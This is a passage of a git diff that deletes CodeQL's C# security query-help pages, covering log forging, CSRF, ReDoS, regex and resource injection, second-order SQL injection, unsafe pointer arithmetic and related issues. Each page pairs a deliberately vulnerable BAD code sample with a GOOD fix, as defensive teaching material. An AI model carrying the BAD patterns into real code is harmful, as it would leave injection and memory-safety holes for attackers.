doc: [LdapDistinguishedNameEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapDistinguishedNameEncode). -* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md b/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md deleted file mode 100644 index 4499c791036..00000000000 --- a/docs/language/query-help/csharp/LocalUnvalidatedArithmetic.md +++ /dev/null @@ -1,66 +0,0 @@ -# Unvalidated local pointer arithmetic - -``` -ID: cs/unvalidated-local-pointer-arithmetic -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-119 external/cwe/cwe-120 external/cwe/cwe-122 external/cwe/cwe-788 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-119/LocalUnvalidatedArithmetic.ql) - -It is dangerous to use the result of a virtual method call in pointer arithmetic without validation if external users can provide their own implementation of the virtual method. For example, if the analyzed project is distributed as a library or framework, then the end-user could provide a new implementation that returns any value. - - -## Recommendation -Always validate the result of virtual methods calls before performing pointer arithmetic to avoid reading or writing outside the bounds of an allocated buffer. - - -## Example -In this example, we write to a given element of an array, using an instance of the `PossiblyOverridableClass` to determine which element to write to. - -In the first case, the `GetElementNumber` method is called, and the result is used in pointer arithmetic without any validation. If the user can define a subtype of `PossiblyOverridableClass`, they can create an implementation of `GetElementNumber` that returns an invalid element number. This would lead to a write occurring outside the bounds of the `charArray`. - -In the second case, the result of `GetElementNumber` is stored, and confirmed to be within the bounds of the array. Note that it is not sufficient to check that it is smaller than the length. We must also ensure that it's greater than zero, to prevent writes to locations before the buffer as well as afterwards. - - -```csharp -public class PossiblyOverridable -{ - public virtual int GetElementNumber() - { - // By default returns 0, which is safe - return 0; - } -} - -public class PointerArithmetic -{ - public unsafe void WriteToOffset(PossiblyOverridable possiblyOverridable, - char[] charArray) - { - fixed (char* charPointer = charArray) - { - // BAD: Unvalidated use of virtual method call result in pointer arithmetic - char* newCharPointer = charPointer + possiblyOverridable.GetElementNumber(); - *newCharPointer = 'A'; - // GOOD: Check that the number is viable - int number = possiblyOverridable.GetElementNumber(); - if (number >= 0 && number < charArray.Length) - { - char* newCharPointer2 = charPointer + number; - *newCharPointer = 'A'; - } - } - } -} - -``` - -## References -* Microsoft: [Unsafe Code and Pointers](https://msdn.microsoft.com/en-us/library/t2yzs44b.aspx). -* Common Weakness Enumeration: [CWE-119](https://cwe.mitre.org/data/definitions/119.html). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-122](https://cwe.mitre.org/data/definitions/122.html). -* Common Weakness Enumeration: [CWE-788](https://cwe.mitre.org/data/definitions/788.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/LogForging.md b/docs/language/query-help/csharp/LogForging.md deleted file mode 100644 index f33266e5df0..00000000000 --- a/docs/language/query-help/csharp/LogForging.md +++ /dev/null @@ -1,54 +0,0 @@ -# Log entries created from user input - -``` -ID: cs/log-forging -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-117 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-117/LogForging.ql) - -If unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries. - -Forgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be include to spoof log entries. - - -## Recommendation -User input should be suitably encoded before it is logged. - -If the log entries are plain text then line breaks should be removed from user input, using `String.Replace` or similar. Care should also be taken that user input is clearly marked in log entries, and that a malicious user cannot cause confusion in other ways. - -For log entries that will be displayed in HTML, user input should be HTML encoded using `HttpServerUtility.HtmlEncode` or similar before being logged, to prevent forgery and other forms of HTML injection. - - -## Example -In the following example, a user name, provided by the user, is logged using a logging framework. In the first case, it is logged without any sanitization. In the second case, `String.Replace` is used to ensure no line endings are present in the user input. - - -```csharp -using Microsoft.Extensions.Logging; -using System; -using System.IO; -using System.Web; - -public class LogForgingHandler : IHttpHandler -{ - private ILogger logger; - - public void ProcessRequest(HttpContext ctx) - { - String username = ctx.Request.QueryString["username"]; - // BAD: User input logged as-is - logger.Warn(username + " log in requested."); - // GOOD: User input logged with new-lines removed - logger.Warn(username.Replace(Environment.NewLine, "") + " log in requested"); - } -} - -``` - -## References -* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection). -* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md b/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md deleted file mode 100644 index d2ab4432711..00000000000 --- a/docs/language/query-help/csharp/MissingASPNETGlobalErrorHandler.md +++ /dev/null @@ -1,71 +0,0 @@ -# Missing global error handler - -``` -ID: cs/web/missing-global-error-handler -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-12 external/cwe/cwe-248 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-248/MissingASPNETGlobalErrorHandler.ql) - -`Web.config` files that set the `customErrors` mode to `Off` and do not provide an `Application_Error` method in the `global.asax.cs` file rely on the default error pages, which leak information such as stack traces. - - -## Recommendation -Set the `customErrors` to `On` to prevent the default error page from being displayed, or to `RemoteOnly` to only show the default error page when the application is accessed locally. Alternatively, provide an implementation of the `Application_Error` method in the `global.asax.cs` page. - - -## Example -The following example shows a `Web.config` file in which the custom errors mode has been set to `Off`. - - -```none - - - - - ... - - - - -``` -This can be fixed either by specifying a different mode, such as `On`, in the `Web.config` file: - - -```none - - - - - ... - - - - -``` -or by defining an `Application_Error` method in the `global.asax.cs` file: - - -```csharp -using System; -using System.Web; - -namespace WebApp -{ - public class Global : HttpApplication - { - void Application_Error(object sender, EventArgs e) - { - // Handle errors here - } - } -} - -``` - -## References -* Common Weakness Enumeration: [CWE-12](https://cwe.mitre.org/data/definitions/12.html). -* Common Weakness Enumeration: [CWE-248](https://cwe.mitre.org/data/definitions/248.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md b/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md deleted file mode 100644 index 428cdde0280..00000000000 --- a/docs/language/query-help/csharp/MissingAntiForgeryTokenValidation.md +++ /dev/null @@ -1,54 +0,0 @@ -# Missing cross-site request forgery token validation - -``` -ID: cs/web/missing-token-validation -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-352 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-352/MissingAntiForgeryTokenValidation.ql) - -Web applications that use tokens to prevent cross-site request forgery (CSRF) should validate the tokens for all Http POST requests. - -Although login and authentication methods are not vulnerable to traditional CSRF attacks, they still need to be protected with a token or other mitigation. This because an unprotected login page can be used by an attacker to force a login using an account controlled by the attacker. Subsequent requests to the site are then made using this account, without the user being aware that this is the case. This can result in the user associating private information with the attacker-controlled account. - - -## Recommendation -The appropriate attribute should be added to this method to ensure the anti-forgery token is validated when this action method is called. If using the MVC-provided anti-forgery framework this will be the `[ValidateAntiForgeryToken]` attribute. - -Alternatively, you may consider including a global filter that applies token validation to all POST requests. - - -## Example -In the following example an ASP.NET MVC `Controller` is using the `[ValidateAntiForgeryToken]` attribute to mitigate against CSRF attacks. It has been applied correctly to the `UpdateDetails` method. However, this attribute has not been applied to the `Login` method. This should be fixed by adding this attribute. - - -```csharp -using System.Web.Mvc; - -public class HomeController : Controller -{ - // BAD: Anti forgery token has been forgotten - [HttpPost] - public ActionResult Login() - { - return View(); - } - - // GOOD: Anti forgery token is validated - [HttpPost] - [ValidateAntiForgeryToken] - public ActionResult UpdateDetails() - { - return View(); - } -} - -``` - -## References -* Wikipedia: [Cross-Site Request Forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery). -* Microsoft Docs: [XSRF/CSRF Prevention in ASP.NET MVC and Web Pages](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/xsrfcsrf-prevention-in-aspnet-mvc-and-web-pages). -* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingXFrameOptions.md b/docs/language/query-help/csharp/MissingXFrameOptions.md deleted file mode 100644 index a72dbfac629..00000000000 --- a/docs/language/query-help/csharp/MissingXFrameOptions.md +++ /dev/null @@ -1,56 +0,0 @@ -# Missing X-Frame-Options HTTP header - -``` -ID: cs/web/missing-x-frame-options -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-451 external/cwe/cwe-829 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-451/MissingXFrameOptions.ql) - -Web sites that do not specify the `X-Frame-Options` HTTP header may be vulnerable to UI redress attacks ("clickjacking"). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site. - - -## Recommendation -Set the `X-Frame-Options` HTTP header to `DENY`, to instruct web browsers to block attempts to load the site in a frame. Alternatively, if framing is needed in certain circumstances, specify `SAMEORIGIN` or `ALLOW FROM: ...` to limit the ability to frame the site to pages from the same origin, or from an allowed whitelist of trusted domains. - -For ASP.NET web applications, the header may be specified either in the `Web.config` file, using the `` tag, or within the source code of the application using the `HttpResponse.AddHeader` method. In general, prefer specifying the header in the `Web.config` file to ensure it is added to all requests. If adding it to the source code, ensure that it is added unconditionally to all requests. For example, add the header in the `Application_BeginRequest` method in the `global.asax` file. - - -## Example -The following example shows how to specify the `X-Frame-Options` header within the `Web.config` file for ASP.NET: - - -```none - - - - - - - - - - - - - -``` -This next example shows how to specify the `X-Frame-Options` header within the `global.asax` file for ASP.NET application: - - -```csharp -protected void Application_BeginRequest(object sender, EventArgs e) -{ - HttpContext.Current.Response.AddHeader("X-Frame-Options", "DENY"); -} - -``` - -## References -* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html). -* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) -* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html). -* Common Weakness Enumeration: [CWE-829](https://cwe.mitre.org/data/definitions/829.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/MissingXMLValidation.md b/docs/language/query-help/csharp/MissingXMLValidation.md deleted file mode 100644 index 93ba3bf69c5..00000000000 --- a/docs/language/query-help/csharp/MissingXMLValidation.md +++ /dev/null @@ -1,72 +0,0 @@ -# Missing XML validation - -``` -ID: cs/xml/missing-validation -Kind: path-problem -Severity: recommendation -Precision: high -Tags: security external/cwe/cwe-112 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-112/MissingXMLValidation.ql) - -If unsanitized user input is processed as XML, it should be validated against a known schema. If no validation occurs, or if the validation relies on the schema or DTD specified in the document itself, then the XML document may contain any data in any form, which may invalidate assumptions the program later makes. - - -## Recommendation -All XML provided by a user should be validated against a known schema when it is processed. - -If using `XmlReader.Create`, you should always pass an instance of `XmlReaderSettings`, with the following properties: - -* `ValidationType` must be set to `Schema`. If this property is unset, no validation occurs. If it is set to `DTD`, the document is only validated against the DTD specified in the user-provided document itself - which could be specified as anything by a malicious user. -* `ValidationFlags` must not include `ProcessInlineSchema` or `ProcessSchemaLocation`. These flags allow a user to provide their own inline schema or schema location for validation, allowing a malicious user to bypass the known schema validation. - -## Example -In the following example, text provided by a user is loaded using `XmlReader.Create`. In the first three examples, insufficient validation occurs, because either no validation is specified, or validation is only specified against a DTD provided by the user, or the validation permits a user to provide an inline schema. In the final example, a known schema is provided, and validation is set, using an instance of `XmlReaderSettings`. This ensures that the user input is properly validated against the known schema. - - -```csharp -using System; -using System.IO; -using System.Web; -using System.Xml; -using System.Xml.Schema; - -public class MissingXmlValidationHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - String userProvidedXml = ctx.Request.QueryString["userProvidedXml"]; - - // BAD: User provided XML is processed without any validation, - // because there is no settings instance configured. - XmlReader.Create(new StringReader(userProvidedXml)); - - // BAD: User provided XML is processed without any validation, - // because the settings instance specifies DTD as the ValidationType - XmlReaderSettings badSettings = new XmlReaderSettings(); - badSettings.ValidationType = ValidationType.DTD; - XmlReader.Create(new StringReader(userProvidedXml), badSettings); - - // BAD: User provided XML is processed with validation, but the ProcessInlineSchema - // option is specified, so an attacker can provide their own schema to validate - // against. - XmlReaderSettings badInlineSettings = new XmlReaderSettings(); - badInlineSettings.ValidationType = ValidationType.Schema; - badInlineSettings.ValidationFlags |= XmlSchemaValidationFlags.ProcessInlineSchema; - XmlReader.Create(new StringReader(userProvidedXml), badInlineSettings); - - // GOOD: User provided XML is processed with validation - XmlReaderSettings goodSettings = new XmlReaderSettings(); - goodSettings.ValidationType = ValidationType.Schema; - goodSettings.Schemas = new XmlSchemaSet() { { "urn:my-schema", "my.xsd" } }; - XmlReader.Create(new StringReader(userProvidedXml), goodSettings); - } -} - -``` - -## References -* Microsoft: [XML Schema (XSD) Validation with XmlSchemaSet](https://msdn.microsoft.com/en-us/library/3740e0b5(v=vs.110).aspx). -* Common Weakness Enumeration: [CWE-112](https://cwe.mitre.org/data/definitions/112.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/PasswordInConfigurationFile.md b/docs/language/query-help/csharp/PasswordInConfigurationFile.md deleted file mode 100644 index b3fac74af7a..00000000000 --- a/docs/language/query-help/csharp/PasswordInConfigurationFile.md +++ /dev/null @@ -1,23 +0,0 @@ -# Password in configuration file - -``` -ID: cs/password-in-configuration -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-13 external/cwe/cwe-256 external/cwe/cwe-313 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Configuration/PasswordInConfigurationFile.ql) - -Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resources. Therefore it is a common attack vector. - - -## Recommendation -Passwords stored in configuration files should be encrypted. - - -## References -* Common Weakness Enumeration: [CWE-13](https://cwe.mitre.org/data/definitions/13.html). -* Common Weakness Enumeration: [CWE-256](https://cwe.mitre.org/data/definitions/256.html). -* Common Weakness Enumeration: [CWE-313](https://cwe.mitre.org/data/definitions/313.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/PersistentCookie.md b/docs/language/query-help/csharp/PersistentCookie.md deleted file mode 100644 index abdc3fdb7e5..00000000000 --- a/docs/language/query-help/csharp/PersistentCookie.md +++ /dev/null @@ -1,21 +0,0 @@ -# Cookie security: persistent cookie - -``` -ID: cs/web/persistent-cookie -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-539 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/PersistentCookie.ql) - -This rule finds cookies that are made to expire in more than 5 minutes from now. Cookies are usually non-persistent, in which case they reside in the browser's memory only. However, by setting an expiration date in the future, cookies can be made persistent and are then written to disk to survive the browser restarts. If a persistent cookie is set to expire in a fairly distant future, it is easier for an attacker to steal its data. - - -## Recommendation -Do not put sensitive information in persistent cookies. - - -## References -* Common Weakness Enumeration: [CWE-539](https://cwe.mitre.org/data/definitions/539.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ReDoS.md b/docs/language/query-help/csharp/ReDoS.md deleted file mode 100644 index 2687d28e5a5..00000000000 --- a/docs/language/query-help/csharp/ReDoS.md +++ /dev/null @@ -1,57 +0,0 @@ -# Denial of Service from comparison of user input against expensive regex - -``` -ID: cs/redos -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-730 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-730/ReDoS.ql) - -Matching user input against a regular expression which takes exponential time in the worst case can allow a malicious user to perform a Denial of Service ("DoS") attack by crafting input that takes a long time to execute. - -Most regular expression engines, including the C# standard library implementation, are designed to work with an extended regular expression syntax. Although this provides flexibility for the user, it can prevent the engine from constructing an efficient implementation of the matcher in all circumstances. In particular, the "worst case time complexity" (see the references) of certain regular expressions may be "exponential". This would allow a malicious user to provide some input which causes the regular expression to take a very long time to execute. - -Typically, a regular expression is vulnerable to this attack if it applies repetition to a sub-expression which itself is repeated, or contains overlapping options. For example, `(a+)+` is vulnerable to a string such as `aaaaaaaaaaaaaaaaaaaaaaaaaaab`. More information about the precise circumstances can be found in the references. - - -## Recommendation -Modify the regular expression to avoid the exponential worst case time. If this is not possible, then a timeout should be used to avoid a denial of service. For C# applications, a timeout can be provided to the `Regex` constructor. Alternatively, apply a global timeout by setting the `REGEX_DEFAULT_MATCH_TIMEOUT` application domain property, using the `AppDomain.SetData` method. - - -## Example -The following example shows a HTTP request parameter that is matched against a regular expression which has exponential worst case performance. In the first case, it is matched without a timeout, which can lead to a denial of service. In the second case, a timeout is used to cancel the evaluation of the regular expression after 1 second. - - -```csharp -using System; -using System.Web; -using System.Text.RegularExpressions; - -public class ReDoSHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string userInput = ctx.Request.QueryString["userInput"]; - - // BAD: User input is matched against a regex with exponential worst case behavior - new Regex("^([a-z]*)*$").Match(userInput); - - // GOOD: Regex is given a timeout to avoid DoS - new Regex("^([a-z]*)*$", - RegexOptions.IgnoreCase, - TimeSpan.FromSeconds(1)).Match(userInput); - } -} - -``` - -## References -* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). -* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). -* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity). -* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RegexInjection.md b/docs/language/query-help/csharp/RegexInjection.md deleted file mode 100644 index 2d9f59c40fa..00000000000 --- a/docs/language/query-help/csharp/RegexInjection.md +++ /dev/null @@ -1,56 +0,0 @@ -# Regular expression injection - -``` -ID: cs/regex-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-730 external/cwe/cwe-400 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-730/RegexInjection.ql) - -Constructing a regular expression with unsanitized user input is dangerous as a malicious user may be able to modify the meaning of the expression. In particular, such a user may be able to provide a regular expression fragment that takes exponential time in the worst case, and use that to perform a Denial of Service attack. - - -## Recommendation -For user input that is intended to be referenced as a string literal in a regular expression, use the `Regex.Escape` method to escape any special characters. If the regular expression is intended to be configurable by the user, then a timeout should be used to avoid Denial of Service attacks. For C# applications, a timeout can be provided to the `Regex` constructor. Alternatively, apply a global timeout by setting the `REGEX_DEFAULT_MATCH_TIMEOUT` application domain property, using the `AppDomain.SetData` method. - - -## Example -The following example shows a HTTP request parameter that is used as a regular expression, and matched against another request parameter. - -In the first case, the regular expression is used without a timeout, and the user-provided regex is not escaped. If a malicious user provides a regex that has exponential worst case performance, then this could lead to a Denial of Service. - -In the second case, the user input is escaped using `Regex.Escape` before being included in the regular expression. This ensures that the user cannot insert characters which have a special meaning in regular expressions. - - -```csharp -using System; -using System.Web; -using System.Text.RegularExpressions; - -public class RegexInjectionHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string name = ctx.Request.QueryString["name"]; - string userInput = ctx.Request.QueryString["userInput"]; - - // BAD: Unsanitized user input is used to construct a regular expression - new Regex("^" + name + "=.*$").Match(userInput); - - // GOOD: User input is sanitized before constructing the regex - string safeName = Regex.Escape(name); - new Regex("^" + safeName + "=.*$").Match(userInput); - } -} - -``` - -## References -* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS). -* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS). -* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html). -* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RequireSSL.md b/docs/language/query-help/csharp/RequireSSL.md deleted file mode 100644 index 465ba0050c2..00000000000 --- a/docs/language/query-help/csharp/RequireSSL.md +++ /dev/null @@ -1,46 +0,0 @@ -# 'requireSSL' attribute is not set to true - -``` -ID: cs/web/requiressl-not-set -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-319 external/cwe/cwe-614 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-614/RequireSSL.ql) - -Sensitive data that is transmitted using HTTP is vulnerable to being read by a third party. By default, web forms and cookies are sent via HTTP, not HTTPS. This setting can be changed by setting the `requireSSL` attribute to `"true"` in `Web.config`. - - -## Recommendation -When using web forms, ensure that `Web.config` contains a `` element with the attribute `requireSSL="true"`. - -When using cookies, ensure that SSL is used, either via the `` attribute above, or the `` element, with the attribute `requireSSL="true"`. It is also possible to require cookies to use SSL programmatically, by setting the property `System.Web.HttpCookie.Secure` to `true`. - - -## Example -The following example shows where to specify `requireSSL="true"` in a `Web.config` file. - - -```none - - - - - - - - - - -``` - -## References -* MSDN: [HttpCookie.Secure Property](https://msdn.microsoft.com/en-us/library/system.web.httpcookie.secure(v=vs.110).aspx), [FormsAuthentication.RequireSSL Property](https://msdn.microsoft.com/en-us/library/system.web.security.formsauthentication.requiressl(v=vs.110).aspx), [forms Element for authentication](https://msdn.microsoft.com/en-us/library/1d3t3c61(v=vs.100).aspx), [httpCookies Element](https://msdn.microsoft.com/library/ms228262%28v=vs.100%29.aspx). -* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html). -* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ResourceInjection.md b/docs/language/query-help/csharp/ResourceInjection.md deleted file mode 100644 index 590eadb0a71..00000000000 --- a/docs/language/query-help/csharp/ResourceInjection.md +++ /dev/null @@ -1,59 +0,0 @@ -# Resource injection - -``` -ID: cs/resource-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-099 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-099/ResourceInjection.ql) - -If a resource descriptor is built using string concatenation, and the components of the concatenation include user input, a user may be able to hijack the resource which is loaded. - - -## Recommendation -If user input must be included in a resource descriptor, it should be escaped to avoid a malicious user providing special characters that change the meaning of the descriptor. If possible, use an existing library to either escape or construct the resource. - -For data connections within sub namespaces of `System.Data`, a connection builder class is provided. For example, a connection string which is to be passed to `System.Data.SqlClient.SqlConnection` can be constructed safely using an instance of `System.Data.SqlClient.SqlConnectionStringBuilder`. - - -## Example -In the following examples, the code accepts a user name from the user, which it uses to create a connection string for an SQL database. - -The first example concatenates the unvalidated and unencoded user input directly into the connection string. A malicious user could provide special characters to change the meaning of the connection string, and connect to a completely different server. - -The second example uses the `SqlConnectionStringBuilder` to construct the connection string and therefore prevents a malicious user modifying the meaning of the connection string. - - -```csharp -using System.Data.SqlClient; -using System.Web; - -public class ResourceInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string userName = ctx.Request.QueryString["userName"]; - - // BAD: Direct use of user input in a connection string passed to SqlConnection - string connectionString = "server=(local);user id=" + userName + ";password= pass;"; - SqlConnection sqlConnectionBad = new SqlConnection(connectionString); - - // GOOD: Use SqlConnectionStringBuilder to safely include user input in a connection string - SqlConnectionStringBuilder builder = new SqlConnectionStringBuilder(); - builder["Data Source"] = "(local)"; - builder["integrated Security"] = true; - builder["user id"] = userName; - SqlConnection sqlConnectionGood = new SqlConnection(builder.ConnectionString); - } -} - -``` - -## References -* OWASP: [Resource Injection](https://www.owasp.org/index.php/Resource_Injection). -* MSDN: [Building Connection Strings](https://msdn.microsoft.com/en-us/library/ms254947(v=vs.80).aspx). -* MSDN: [Securing Connection Strings](https://msdn.microsoft.com/en-us/library/89211k9b(VS.80).aspx). -* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/RuntimeChecksBypass.md b/docs/language/query-help/csharp/RuntimeChecksBypass.md deleted file mode 100644 index 9a6dac1ba9f..00000000000 --- a/docs/language/query-help/csharp/RuntimeChecksBypass.md +++ /dev/null @@ -1,83 +0,0 @@ -# Serialization check bypass - -``` -ID: cs/serialization-check-bypass -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-020/RuntimeChecksBypass.ql) - -Fields that are deserialized should be validated, otherwise the deserialized object could contain invalid data. - -This query finds cases where a field is validated in a constructor, but not in a deserialization method. This is an indication that the deserialization method is missing a validation step. - - -## Recommendation -If a field needs to be validated, then ensure that validation is also performed during deserialization. - - -## Example -The following example has the validation of the `Age` field in the constructor but not in the deserialization method: - - -```csharp -using System; -using System.Runtime.Serialization; - -[Serializable] -public class PersonBad : ISerializable -{ - public int Age; - - public PersonBad(int age) - { - if (age < 0) - throw new ArgumentException(nameof(age)); - Age = age; - } - - [OnDeserializing] - void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) - { - Age = info.GetInt32("age"); // BAD - write is unsafe - } -} - -``` -The problem is fixed by adding validation to the deserialization method as follows: - - -```csharp -using System; -using System.Runtime.Serialization; - -[Serializable] -public class PersonGood : ISerializable -{ - public int Age; - - public PersonGood(int age) - { - if (age < 0) - throw new ArgumentException(nameof(age)); - Age = age; - } - - [OnDeserializing] - void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) - { - int age = info.GetInt32("age"); - if (age < 0) - throw new SerializationException(nameof(Age)); - Age = age; // GOOD - write is safe - } -} - -``` - -## References -* OWASP: [Data Validation](https://www.owasp.org/index.php/Data_Validation). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/SecondOrderSqlInjection.md b/docs/language/query-help/csharp/SecondOrderSqlInjection.md deleted file mode 100644 index c14350dc8ad..00000000000 --- a/docs/language/query-help/csharp/SecondOrderSqlInjection.md +++ /dev/null @@ -1,86 +0,0 @@ -# SQL query built from stored user-controlled sources - -``` -ID: cs/second-order-sql-injection -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-089 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-089/SecondOrderSqlInjection.ql) - -If a SQL query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. - - -## Recommendation -Usually, it is better to use a prepared statement than to build a complete query with string concatenation. A prepared statement can include a parameter, written as either a question mark (`?`) or with an explicit name (`@parameter`), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each parameter in the query. - -It is good practice to use prepared statements for supplying parameters to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. - - -## Example -In the following example, the code runs a simple SQL query in three different ways. - -The first way involves building a query, `query1`, by concatenating a user-supplied text box value with some string literals. The text box value can include special characters, so this code allows for SQL injection attacks. - -The second way uses a stored procedure, `ItemsStoredProcedure`, with a single parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. - -The third way builds a query, `query2`, with a single string literal that includes a parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. - - -```csharp -using System.Data; -using System.Data.SqlClient; -using System.Web.UI.WebControls; - -class SqlInjection -{ - TextBox categoryTextBox; - string connectionString; - - public DataSet GetDataSetByCategory() - { - // BAD: the category might have SQL special characters in it - using (var connection = new SqlConnection(connectionString)) - { - var query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" - + categoryTextBox.Text + "' ORDER BY PRICE"; - var adapter = new SqlDataAdapter(query1, connection); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - - // GOOD: use parameters with stored procedures - using (var connection = new SqlConnection(connectionString)) - { - var adapter = new SqlDataAdapter("ItemsStoredProcedure", connection); - adapter.SelectCommand.CommandType = CommandType.StoredProcedure; - var parameter = new SqlParameter("category", categoryTextBox.Text); - adapter.SelectCommand.Parameters.Add(parameter); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - - // GOOD: use parameters with dynamic SQL - using (var connection = new SqlConnection(connectionString)) - { - var query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=" - + "@category ORDER BY PRICE"; - var adapter = new SqlDataAdapter(query2, connection); - var parameter = new SqlParameter("category", categoryTextBox.Text); - adapter.SelectCommand.Parameters.Add(parameter); - var result = new DataSet(); - adapter.Fill(result); - return result; - } - } -} - -``` - -## References -* MSDN: [How To: Protect From SQL Injection in ASP.NET](https://msdn.microsoft.com/en-us/library/ff648339.aspx). -* Common Weakness Enumeration: 